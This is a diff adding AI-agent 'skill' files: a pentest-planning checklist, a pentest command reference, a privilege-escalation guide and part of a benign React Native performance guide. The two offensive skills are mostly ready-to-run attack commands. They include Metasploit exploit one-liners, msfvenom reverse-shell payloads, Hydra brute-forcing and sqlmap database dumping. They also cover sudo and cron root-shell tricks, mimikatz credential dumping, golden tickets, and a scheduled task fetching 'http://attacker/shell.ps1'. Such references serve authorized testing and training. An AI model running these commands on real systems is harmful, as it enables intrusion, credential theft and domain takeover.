GPEN, CEH, CREST +- [ ] **Check references** - Talk to previous clients +- [ ] **Match expertise to scope** - Web, network, mobile specialists + +**Evaluation Criteria:** + +| Factor | Questions to Ask | +|--------|------------------| +| Experience | Years in field, similar projects | +| Methodology | OWASP, PTES, custom approach | +| Reporting | Sample reports, detail level | +| Communication | Availability, update frequency | + +#### Define Methodology + +- [ ] **Select testing standard** - PTES, OWASP, NIST +- [ ] **Determine access level** - Black box, gray box, white box +- [ ] **Agree on techniques** - Manual vs. automated testing +- [ ] **Set communication schedule** - Updates and escalation + +**Testing Approaches:** + +| Type | Access Level | Simulates | +|------|-------------|-----------| +| Black Box | No information | External attacker | +| Gray Box | Partial access | Insider with limited access | +| White Box | Full access | Insider/detailed audit | + +#### Define Report Format + +- [ ] **Review sample reports** - Ensure quality meets needs +- [ ] **Specify required sections** - Executive summary, technical details +- [ ] **Request machine-readable output** - CSV, XML for tracking +- [ ] **Agree on risk ratings** - CVSS, custom scale + +**Report Should Include:** +- Executive summary for management +- Technical findings with evidence +- Risk ratings and prioritization +- Remediation recommendations +- Retesting guidance + +### Phase 4: Monitoring + +#### Implement Security Monitoring + +- [ ] **Deploy IDS/IPS** - Intrusion detection systems +- [ ] **Enable logging** - Comprehensive audit trails +- [ ] **Configure SIEM** - Centralized log analysis +- [ ] **Set up alerting** - Real-time notifications + +**Monitoring Tools:** +```bash +# Check security logs +tail -f /var/log/auth.log +tail -f /var/log/apache2/access.log + +# Monitor network +tcpdump -i eth0 -w capture.pcap +``` + +#### Configure Logging + +- [ ] **Centralize logs** - Aggregate from all systems +- [ ] **Set retention periods** - Keep logs for analysis +- [ ] **Enable detailed logging** - Application and system level +- [ ] **Test log collection** - Verify all sources working + +**Key Logs to Monitor:** +- Authentication events +- Application errors +- Network connections +- File access +- System changes + +#### Monitor Exception Tools + +- [ ] **Track error rates** - Unusual spikes indicate testing +- [ ] **Brief operations team** - Distinguish testing from attacks +- [ ] **Document baseline** - Normal vs. pentest activity + +#### Watch Security Tools + +- [ ] **Review IDS alerts** - Separate pentest from real attacks +- [ ] **Monitor WAF logs** - Track blocked attempts +- [ ] **Check endpoint protection** - Antivirus detections + +### Phase 5: Remediation + +#### Ensure Backups + +- [ ] **Verify backup integrity** - Test restoration +- [ ] **Document recovery procedures** - Know how to restore +- [ ] **Separate backup access** - Protect from testing + +#### Reserve Remediation Time + +- [ ] **Allocate team availability** - Post-pentest analysis +- [ ] **Schedule fix implementation** - Address findings +- [ ] **Plan verification testing** - Confirm fixes work + +#### Patch During Testing Policy + +- [ ] **Generally avoid patching** - Maintain consistent environment +- [ ] **Exception for critical issues** - Security emergencies only +- [ ] **Communicate changes** - Inform pentesters of any changes + +#### Cleanup Procedure + +- [ ] **Remove test artifacts** - Backdoors, scripts, files +- [ ] **Delete test accounts** - Remove pentester access +- [ ] **Restore configurations** - Return to original state +- [ ] **Verify cleanup complete** - Audit all changes + +#### Schedule Next Pentest + +- [ ] **Determine frequency** - Annual, quarterly, after changes +- [ ] **Consider continuous testing** - Bug bounty, ongoing assessments +- [ ] **Budget for future tests** - Plan ahead + +**Testing Frequency Factors:** +- Release frequency +- Regulatory requirements +- Risk tolerance +- Past findings severity + +## Quick Reference + +### Pre-Pentest Checklist + +``` +□ Scope defined and documented +□ Authorization obtained +□ Environment prepared +□ Hosting provider notified +□ Team briefed +□ Monitoring enabled +□ Backups verified +``` + +### Post-Pentest Checklist + +``` +□ Report received and reviewed +□ Findings prioritized +□ Remediation assigned +□ Fixes implemented +□ Verification testing scheduled +□ Environment cleaned up +□ Next test scheduled +``` + +## Constraints + +- Production testing carries inherent risks +- Budget limitations affect thoroughness +- Time constraints may limit coverage +- Tester expertise varies significantly +- Findings become stale quickly + +## Examples + +### Example 1: Quick Scope Definition + +```markdown +**Target:** Corporate web application (app.company.com) +**Type:** Gray box web application pentest +**Duration:** 5 business days +**Excluded:** DoS testing, production database access +**Access:** Standard user account provided +``` + +### Example 2: Monitoring Setup + +```bash +# Enable comprehensive logging +sudo systemctl restart rsyslog +sudo systemctl restart auditd + +# Start packet capture +tcpdump -i eth0 -w /tmp/pentest_capture.pcap & +``` + +## Troubleshooting + +| Issue | Solution | +|-------|----------| +| Scope creep | Document and require change approval | +| Testing impacts production | Schedule off-hours, use staging | +| Findings disputed | Provide detailed evidence, retest | +| Remediation delayed | Prioritize by risk, set deadlines | +| Budget exceeded | Define clear scope, fixed-price contracts | + +## When to Use +This skill is applicable to execute the workflow or actions described in the overview. diff --git a/skills/pentest-commands/SKILL.md b/skills/pentest-commands/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..13c9545f3840cd21a40f143bd88aef094ef9ffa9 --- /dev/null +++ b/skills/pentest-commands/SKILL.md @@ -0,0 +1,444 @@ +--- +name: pentest-commands +description: "Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments." +risk: offensive +source: community +author: zebbern +date_added: "2026-02-27" +--- + +> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. + +# Pentest Commands + +## Purpose + +Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments. + +## Inputs/Prerequisites + +- Kali Linux or penetration testing distribution +- Target IP addresses with authorization +- Wordlists for brute forcing +- Network access to target systems +- Basic understanding of tool syntax + +## Outputs/Deliverables + +- Network enumeration results +- Identified vulnerabilities +- Exploitation payloads +- Cracked credentials +- Web vulnerability findings + +## Core Workflow + +### 1. Nmap Commands + +**Host Discovery:** + +```bash +# Ping sweep +nmap -sP 192.168.1.0/24 + +# List IPs without scanning +nmap -sL 192.168.1.0/24 + +# Ping scan (host discovery) +nmap -sn 192.168.1.0/24 +``` + +**Port Scanning:** + +```bash +# TCP SYN scan (stealth) +nmap -sS 192.168.1.1 + +# Full TCP connect scan +nmap -sT 192.168.1.1 + +# UDP scan +nmap -sU 192.168.1.1 + +# All ports (1-65535) +nmap -p- 192.168.1.1 + +# Specific ports +nmap -p 22,80,443 192.168.1.1 +``` + +**Service Detection:** + +```bash +# Service versions +nmap -sV 192.168.1.1 + +# OS detection +nmap -O 192.168.1.1 + +# Comprehensive scan +nmap -A 192.168.1.1 + +# Skip host discovery +nmap -Pn 192.168.1.1 +``` + +**NSE Scripts:** + +```bash +# Vulnerability scan +nmap --script vuln 192.168.1.1 + +# SMB enumeration +nmap --script smb-enum-shares -p 445 192.168.1.1 + +# HTTP enumeration +nmap --script http-enum -p 80 192.168.1.1 + +# Check EternalBlue +nmap --script smb-vuln-ms17-010 192.168.1.1 + +# Check MS08-067 +nmap --script smb-vuln-ms08-067 192.168.1.1 + +# SSH brute force +nmap --script ssh-brute -p 22 192.168.1.1 + +# FTP anonymous +nmap --script ftp-anon 192.168.1.1 + +# DNS brute force +nmap --script dns-brute 192.168.1.1 + +# HTTP methods +nmap -p80 --script http-methods 192.168.1.1 + +# HTTP headers +nmap -p80 --script http-headers 192.168.1.1 + +# SQL injection check +nmap --script http-sql-injection -p 80 192.168.1.1 +``` + +**Advanced Scans:** + +```bash +# Xmas scan +nmap -sX 192.168.1.1 + +# ACK scan (firewall detection) +nmap -sA 192.168.1.1 + +# Window scan +nmap -sW 192.168.1.1 + +# Traceroute +nmap --traceroute 192.168.1.1 +``` + +### 2. Metasploit Commands + +**Basic Usage:** + +```bash +# Launch Metasploit +msfconsole + +# Search for exploits +search type:exploit name:smb + +# Use exploit +use exploit/windows/smb/ms17_010_eternalblue + +# Show options +show options + +# Set target +set RHOST 192.168.1.1 + +# Set payload +set PAYLOAD windows/meterpreter/reverse_tcp + +# Run exploit +exploit +``` + +**Common Exploits:** + +```bash +# EternalBlue +msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit" + +# MS08-067 (Conficker) +msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit" + +# vsftpd backdoor +msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit" + +# Shellshock +msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit" + +# Drupalgeddon2 +msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit" + +# PSExec +msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit" +``` + +**Scanners:** + +```bash +# TCP port scan +msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run" + +# SMB version scan +msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run" + +# SMB share enumeration +msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run" + +# SSH brute force +msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run" + +# FTP brute force +msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run" + +# RDP scanning +msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run" +``` + +**Handler Setup:** + +```bash +# Multi-handler for reverse shells +msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit" +``` + +**Payload Generation (msfvenom):** + +```bash +# Windows reverse shell +msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe + +# Linux reverse shell +msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf + +# PHP reverse shell +msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php + +# ASP reverse shell +msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp + +# WAR file +msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war + +# Python payload +msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py +``` + +### 3. Nikto Commands + +```bash +# Basic scan +nikto -h http://192.168.1.1 + +# Comprehensive scan +nikto -h http://192.168.1.1 -C all + +# Output to file +nikto -h http://192.168.1.1 -output report.html + +# Plugin-based scans +nikto -h http://192.168.1.1 -Plugins robots +nikto -h http://192.168.1.1 -Plugins shellshock +nikto -h http://192.168.1.1 -Plugins heartbleed +nikto -h http://192.168.1.1 -Plugins ssl + +# Export to Metasploit +nikto -h http://192.168.1.1 -Format msf+ + +# Specific tuning +nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only +``` + +### 4. SQLMap Commands + +```bash +# Basic injection test +sqlmap -u "http://192.168.1.1/page?id=1" + +# Enumerate databases +sqlmap -u "http://192.168.1.1/page?id=1" --dbs + +# Enumerate tables +sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables + +# Dump table +sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump + +# OS shell +sqlmap -u "http://192.168.1.1/page?id=1" --os-shell + +# POST request +sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test" + +# Cookie injection +sqlmap -u "http://192.168.1.1/page" --cookie="id=1*" + +# Bypass WAF +sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment + +# Risk and level +sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5 +``` + +### 5. Hydra Commands + +```bash +# SSH brute force +hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1 + +# FTP brute force +hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1 + +# HTTP POST form +hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid" + +# HTTP Basic Auth +hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/ + +# SMB brute force +hydra -l admin -P passwords.txt smb://192.168.1.1 + +# RDP brute force +hydra -l admin -P passwords.txt rdp://192.168.1.1 + +# MySQL brute force +hydra -l root -P passwords.txt mysql://192.168.1.1 + +# Username list +hydra -L users.txt -P passwords.txt ssh://192.168.1.1 +``` + +### 6. John the Ripper Commands + +```bash +# Crack password file +john hash.txt + +# Specify wordlist +john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt + +# Show cracked passwords +john hash.txt --show + +# Specify format +john hash.txt --format=raw-md5 +john hash.txt --format=nt +john hash.txt --format=sha512crypt + +# SSH key passphrase +ssh2john id_rsa > ssh_hash.txt +john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt + +# ZIP password +zip2john file.zip > zip_hash.txt +john zip_hash.txt +``` + +### 7. Aircrack-ng Commands + +```bash +# Monitor mode +airmon-ng start wlan0 + +# Capture packets +airodump-ng wlan0mon + +# Target specific network +airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon + +# Deauth attack +aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon + +# Crack WPA handshake +aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap +``` + +### 8. Wireshark/Tshark Commands + +```bash +# Capture traffic +tshark -i eth0 -w capture.pcap + +# Read capture file +tshark -r capture.pcap + +# Filter by protocol +tshark -r capture.pcap -Y "http" + +# Filter by IP +tshark -r capture.pcap -Y "ip.addr == 192.168.1.1" + +# Extract HTTP data +tshark -r capture.pcap -Y "http" -T fields -e http.request.uri +``` + +## Quick Reference + +### Common Port Scans + +```bash +# Quick scan +nmap -F 192.168.1.1 + +# Full comprehensive +nmap -sV -sC -A -p- 192.168.1.1 + +# Fast with version +nmap -sV -T4 192.168.1.1 +``` + +### Password Hash Types + +| Mode | Type | +|------|------| +| 0 | MD5 | +| 100 | SHA1 | +| 1000 | NTLM | +| 1800 | sha512crypt | +| 3200 | bcrypt | +| 13100 | Kerberoast | + +## Constraints + +- Always have written authorization +- Some scans are noisy and detectable +- Brute forcing may lock accounts +- Rate limiting affects tools + +## Examples + +### Example 1: Quick Vulnerability Scan + +```bash +nmap -sV --script vuln 192.168.1.1 +``` + +### Example 2: Web App Test + +```bash +nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs +``` + +## Troubleshooting + +| Issue | Solution | +|-------|----------| +| Scan too slow | Increase timing (-T4, -T5) | +| Ports filtered | Try different scan types | +| Exploit fails | Check target version compatibility | +| Passwords not cracking | Try larger wordlists, rules | + +## When to Use +This skill is applicable to execute the workflow or actions described in the overview. diff --git a/skills/privilege-escalation-methods/SKILL.md b/skills/privilege-escalation-methods/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..75fad215dd94a536474ffe690c23f02138f24b46 --- /dev/null +++ b/skills/privilege-escalation-methods/SKILL.md @@ -0,0 +1,337 @@ +--- +name: privilege-escalation-methods +description: "Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations." +risk: unknown +source: community +author: zebbern +date_added: "2026-02-27" +--- + +# Privilege Escalation Methods + +## Purpose + +Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations. + +## Inputs/Prerequisites + +- Initial low-privilege shell access on target system +- Kali Linux or penetration testing distribution +- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus +- Understanding of Windows/Linux privilege models +- For AD attacks: Domain user credentials and network access to DC + +## Outputs/Deliverables + +- Root or Administrator shell access +- Extracted credentials and hashes +- Persistent access mechanisms +- Domain compromise (for AD environments) + +--- + +## Core Techniques + +### Linux Privilege Escalation + +#### 1. Abusing Sudo Binaries + +Exploit misconfigured sudo permissions using GTFOBins techniques: + +```bash +# Check sudo permissions +sudo -l + +# Exploit common binaries +sudo vim -c ':!/bin/bash' +sudo find /etc/passwd -exec /bin/bash \; +sudo awk 'BEGIN {system("/bin/bash")}' +sudo python -c 'import pty;pty.spawn("/bin/bash")' +sudo perl -e 'exec "/bin/bash";' +sudo less /etc/hosts # then type: !bash +sudo man man # then type: !bash +sudo env /bin/bash +``` + +#### 2. Abusing Scheduled Tasks (Cron) + +```bash +# Find writable cron scripts +ls -la /etc/cron* +cat /etc/crontab + +# Inject payload into writable script +echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh +chmod +x /home/user/systemupdate.sh + +# Wait for execution, then: +/bin/bash -p +``` + +#### 3. Abusing Capabilities + +```bash +# Find binaries with capabilities +getcap -r / 2>/dev/null + +# Python with cap_setuid +/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")' + +# Perl with cap_setuid +/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";' + +# Tar with cap_dac_read_search (read any file) +/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa +/usr/bin/tar -xvf key.tar +``` + +#### 4. NFS Root Squashing + +```bash +# Check for NFS shares +showmount -e + +# Mount and exploit no_root_squash +mkdir /tmp/mount +mount -o rw,vers=2 :/tmp /tmp/mount +cd /tmp/mount +cp /bin/bash . +chmod +s bash +``` + +#### 5. MySQL Running as Root + +```bash +# If MySQL runs as root +mysql -u root -p +\! chmod +s /bin/bash +exit +/bin/bash -p +``` + +--- + +### Windows Privilege Escalation + +#### 1. Token Impersonation + +```powershell +# Using SweetPotato (SeImpersonatePrivilege) +execute-assembly sweetpotato.exe -p beacon.exe + +# Using SharpImpersonation +SharpImpersonation.exe user: technique:ImpersonateLoggedOnuser +``` + +#### 2. Service Abuse + +```powershell +# Using PowerUp +. .\PowerUp.ps1 +Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1' +Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1' +``` + +#### 3. Abusing SeBackupPrivilege + +```powershell +import-module .\SeBackupPrivilegeUtils.dll +import-module .\SeBackupPrivilegeCmdLets.dll +Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit +``` + +#### 4. Abusing SeLoadDriverPrivilege + +```powershell +# Load vulnerable Capcom driver +.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys +.\ExploitCapcom.exe +``` + +#### 5. Abusing GPO + +```powershell +.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" ` + --Author DOMAIN\ --Command "cmd.exe" ` + --Arguments "/c net user Administrator Password!@# /domain" ` + --GPOName "ADDITIONAL DC CONFIGURATION" +``` + +--- + +### Active Directory Attacks + +#### 1. Kerberoasting + +```bash +# Using Impacket +GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request + +# Using CrackMapExec +crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt +``` + +#### 2. AS-REP Roasting + +```powershell +.\Rubeus.exe asreproast +``` + +#### 3. Golden Ticket + +```powershell +# DCSync to get krbtgt hash +mimikatz# lsadump::dcsync /user:krbtgt + +# Create golden ticket +mimikatz# kerberos::golden /user:Administrator /domain:domain.local ` + /sid:S-1-5-21-... /rc4: /id:500 +``` + +#### 4. Pass-the-Ticket + +```powershell +.\Rubeus.exe asktgt /user:USER$ /rc4: /ptt +klist # Verify ticket +``` + +#### 5. Golden Ticket with Scheduled Tasks + +```powershell +# 1. Elevate and dump credentials +mimikatz# token::elevate +mimikatz# vault::cred /patch +mimikatz# lsadump::lsa /patch + +# 2. Create golden ticket +mimikatz# kerberos::golden /user:Administrator /rc4: ` + /domain:DOMAIN /sid: /ticket:ticket.kirbi + +# 3. Create scheduled task +schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" ` + /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'" +schtasks /run /s DOMAIN /TN "enterprise" +``` + +--- + +### Credential Harvesting + +#### LLMNR Poisoning + +```bash +# Start Responder +responder -I eth1 -v + +# Create malicious shortcut (Book.url) +[InternetShortcut] +URL=https://facebook.com +IconIndex=0 +IconFile=\\attacker_ip\not_found.ico +``` + +#### NTLM Relay + +```bash +responder -I eth1 -v +ntlmrelayx.py -tf targets.txt -smb2support +``` + +#### Dumping with VSS + +```powershell +vssadmin create shadow /for=C: +copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ +copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\ +``` + +--- + +## Quick Reference + +| Technique | OS | Domain Required | Tool | +|-----------|-----|-----------------|------| +| Sudo Binary Abuse | Linux | No | GTFOBins | +| Cron Job Exploit | Linux | No | Manual | +| Capability Abuse | Linux | No | getcap | +| NFS no_root_squash | Linux | No | mount | +| Token Impersonation | Windows | No | SweetPotato | +| Service Abuse | Windows | No | PowerUp | +| Kerberoasting | Windows | Yes | Rubeus/Impacket | +| AS-REP Roasting | Windows | Yes | Rubeus | +| Golden Ticket | Windows | Yes | Mimikatz | +| Pass-the-Ticket | Windows | Yes | Rubeus | +| DCSync | Windows | Yes | Mimikatz | +| LLMNR Poisoning | Windows | Yes | Responder | + +--- + +## Constraints + +**Must:** +- Have initial shell access before attempting escalation +- Verify target OS and environment before selecting technique +- Use appropriate tool for domain vs local escalation + +**Must Not:** +- Attempt techniques on production systems without authorization +- Leave persistence mechanisms without client approval +- Ignore detection mechanisms (EDR, SIEM) + +**Should:** +- Enumerate thoroughly before exploitation +- Document all successful escalation paths +- Clean up artifacts after engagement + +--- + +## Examples + +### Example 1: Linux Sudo to Root + +```bash +# Check sudo permissions +$ sudo -l +User www-data may run the following commands: + (root) NOPASSWD: /usr/bin/vim + +# Exploit vim +$ sudo vim -c ':!/bin/bash' +root@target:~# id +uid=0(root) gid=0(root) groups=0(root) +``` + +### Example 2: Windows Kerberoasting + +```bash +# Request service tickets +$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request + +# Crack with hashcat +$ hashcat -m 13100 hashes.txt rockyou.txt +``` + +--- + +## Troubleshooting + +| Issue | Solution | +|-------|----------| +| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) | +| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz | +| Kerberoasting returns no hashes | Check for service accounts with SPNs | +| Token impersonation fails | Verify SeImpersonatePrivilege is present | +| NFS mount fails | Check NFS version compatibility (vers=2,3,4) | + +--- + +## Additional Resources + +For detailed enumeration scripts, use: +- **LinPEAS**: Linux privilege escalation enumeration +- **WinPEAS**: Windows privilege escalation enumeration +- **BloodHound**: Active Directory attack path mapping +- **GTFOBins**: Unix binary exploitation reference + +## When to Use +This skill is applicable to execute the workflow or actions described in the overview. diff --git a/skills/react-native-skills/AGENTS.md b/skills/react-native-skills/AGENTS.md new file mode 100644 index 0000000000000000000000000000000000000000..d263eb9c111002248ec8b1539dbcd7ba7b6fddde --- /dev/null +++ b/skills/react-native-skills/AGENTS.md @@ -0,0 +1,2897 @@ +# React Native Skills + +**Version 1.0.0** +Engineering +January 2026 + +> **Note:** +> This document is mainly for agents and LLMs to follow when maintaining, +> generating, or refactoring React Native codebases. Humans +> may also find it useful, but guidance here is optimized for automation +> and consistency by AI-assisted workflows. + +--- + +## Abstract + +Comprehensive performance optimization guide for React Native applications, designed for AI agents and LLMs. Contains 35+ rules across 13 categories, prioritized by impact from critical (core rendering, list performance) to incremental (fonts, imports). Each rule includes detailed explanations, real-world examples comparing incorrect vs. correct implementations, and specific impact metrics to guide automated refactoring and code generation. + +--- + +## Table of Contents + +1. [Core Rendering](#1-core-rendering) — **CRITICAL** + - 1.1 [Never Use && with Potentially Falsy Values](#11-never-use--with-potentially-falsy-values) + - 1.2 [Wrap Strings in Text Components](#12-wrap-strings-in-text-components) +2. [List Performance](#2-list-performance) — **HIGH** + - 2.1 [Avoid Inline Objects in renderItem](#21-avoid-inline-objects-in-renderitem) + - 2.2 [Hoist callbacks to the root of lists](#22-hoist-callbacks-to-the-root-of-lists) + - 2.3 [Keep List Items Lightweight](#23-keep-list-items-lightweight) + - 2.4 [Optimize List Performance with Stable Object References](#24-optimize-list-performance-with-stable-object-references) + - 2.5 [Pass Primitives to List Items for Memoization](#25-pass-primitives-to-list-items-for-memoization) + - 2.6 [Use a List Virtualizer for Any List](#26-use-a-list-virtualizer-for-any-list) + - 2.7 [Use Compressed Images in Lists](#27-use-compressed-images-in-lists) + - 2.8 [Use Item Types for Heterogeneous Lists](#28-use-item-types-for-heterogeneous-lists) +3. [Animation](#3-animation) — **HIGH** + - 3.1 [Animate Transform and Opacity Instead of Layout Properties](#31-animate-transform-and-opacity-instead-of-layout-properties) + - 3.2 [Prefer useDerivedValue Over useAnimatedReaction](#32-prefer-usederivedvalue-over-useanimatedreaction) + - 3.3 [Use GestureDetector for Animated Press States](#33-use-gesturedetector-for-animated-press-states) +4. [Scroll Performance](#4-scroll-performance) — **HIGH** + - 4.1 [Never Track Scroll Position in useState](#41-never-track-scroll-position-in-usestate) +5. [Navigation](#5-navigation) — **HIGH** + - 5.1 [Use Native Navigators for Navigation](#51-use-native-navigators-for-navigation) +6. [React State](#6-react-state) — **MEDIUM** + - 6.1 [Minimize State Variables and Derive Values](#61-minimize-state-variables-and-derive-values) + - 6.2 [Use fallback state instead of initialState](#62-use-fallback-state-instead-of-initialstate) + - 6.3 [useState Dispatch updaters for State That Depends on Current Value](#63-usestate-dispatch-updaters-for-state-that-depends-on-current-value) +7. [State Architecture](#7-state-architecture) — **MEDIUM** + - 7.1 [State Must Represent Ground Truth](#71-state-must-represent-ground-truth) +8. [React Compiler](#8-react-compiler) — **MEDIUM** + - 8.1 [Destructure Functions Early in Render (React Compiler)](#81-destructure-functions-early-in-render-react-compiler) + - 8.2 [Use .get() and .set() for Reanimated Shared Values (not .value)](#82-use-get-and-set-for-reanimated-shared-values-not-value) +9. [User Interface](#9-user-interface) — **MEDIUM** + - 9.1 [Measuring View Dimensions](#91-measuring-view-dimensions) + - 9.2 [Modern React Native Styling Patterns](#92-modern-react-native-styling-patterns) + - 9.3 [Use contentInset for Dynamic ScrollView Spacing](#93-use-contentinset-for-dynamic-scrollview-spacing) + - 9.4 [Use contentInsetAdjustmentBehavior for Safe Areas](#94-use-contentinsetadjustmentbehavior-for-safe-areas) + - 9.5 [Use expo-image for Optimized Images](#95-use-expo-image-for-optimized-images) + - 9.6 [Use Galeria for Image Galleries and Lightbox](#96-use-galeria-for-image-galleries-and-lightbox) + - 9.7 [Use Native Menus for Dropdowns and Context Menus](#97-use-native-menus-for-dropdowns-and-context-menus) + - 9.8 [Use Native Modals Over JS-Based Bottom Sheets](#98-use-native-modals-over-js-based-bottom-sheets) + - 9.9 [Use Pressable Instead of Touchable Components](#99-use-pressable-instead-of-touchable-components) +10. [Design System](#10-design-system) — **MEDIUM** + - 10.1 [Use Compound Components Over Polymorphic Children](#101-use-compound-components-over-polymorphic-children) +11. [Monorepo](#11-monorepo) — **LOW** + - 11.1 [Install Native Dependencies in App Directory](#111-install-native-dependencies-in-app-directory) + - 11.2 [Use Single Dependency Versions Across Monorepo](#112-use-single-dependency-versions-across-monorepo) +12. [Third-Party Dependencies](#12-third-party-dependencies) — **LOW** + - 12.1 [Import from Design System Folder](#121-import-from-design-system-folder) +13. [JavaScript](#13-javascript) — **LOW** + - 13.1 [Hoist Intl Formatter Creation](#131-hoist-intl-formatter-creation) +14. [Fonts](#14-fonts) — **LOW** + - 14.1 [Load fonts natively at build time](#141-load-fonts-natively-at-build-time) + +--- + +## 1. Core Rendering + +**Impact: CRITICAL** + +Fundamental React Native rendering rules. Violations cause +runtime crashes or broken UI. + +### 1.1 Never Use && with Potentially Falsy Values + +**Impact: CRITICAL (prevents production crash)** + +Never use `{value && }` when `value` could be an empty string or + +`0`. These are falsy but JSX-renderable—React Native will try to render them as + +text outside a `` component, causing a hard crash in production. + +**Incorrect: crashes if count is 0 or name is ""** + +```tsx +function Profile({ name, count }: { name: string; count: number }) { + return ( + + {name && {name}} + {count && {count} items} + + ) +} +// If name="" or count=0, renders the falsy value → crash +``` + +**Correct: ternary with null** + +```tsx +function Profile({ name, count }: { name: string; count: number }) { + return ( + + {name ? {name} : null} + {count ? {count} items : null} + + ) +} +``` + +**Correct: explicit boolean coercion** + +```tsx +function Profile({ name, count }: { name: string; count: number }) { + return ( + + {!!name && {name}} + {!!count && {count} items} + + ) +} +``` + +**Best: early return** + +```tsx +function Profile({ name, count }: { name: string; count: number }) { + if (!name) return null + + return ( + + {name} + {count > 0 ? {count} items : null} + + ) +} +``` + +Early returns are clearest. When using conditionals inline, prefer ternary or + +explicit boolean checks. + +**Lint rule:** Enable `react/jsx-no-leaked-render` from + +[eslint-plugin-react](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/jsx-no-leaked-render.md) + +to catch this automatically. + +### 1.2 Wrap Strings in Text Components + +**Impact: CRITICAL (prevents runtime crash)** + +Strings must be rendered inside ``. React Native crashes if a string is a + +direct child of ``. + +**Incorrect: crashes** + +```tsx +import { View } from 'react-native' + +function Greeting({ name }: { name: string }) { + return Hello, {name}! +} +// Error: Text strings must be rendered within a component. +``` + +**Correct:** + +```tsx +import { View, Text } from 'react-native' + +function Greeting({ name }: { name: string }) { + return ( + + Hello, {name}! + + ) +} +``` + +--- + +## 2. List Performance + +**Impact: HIGH** + +Optimizing virtualized lists (FlatList, LegendList, FlashList) +for smooth scrolling and fast updates. + +### 2.1 Avoid Inline Objects in renderItem + +**Impact: HIGH (prevents unnecessary re-renders of memoized list items)** + +Don't create new objects inside `renderItem` to pass as props. Inline objects + +create new references on 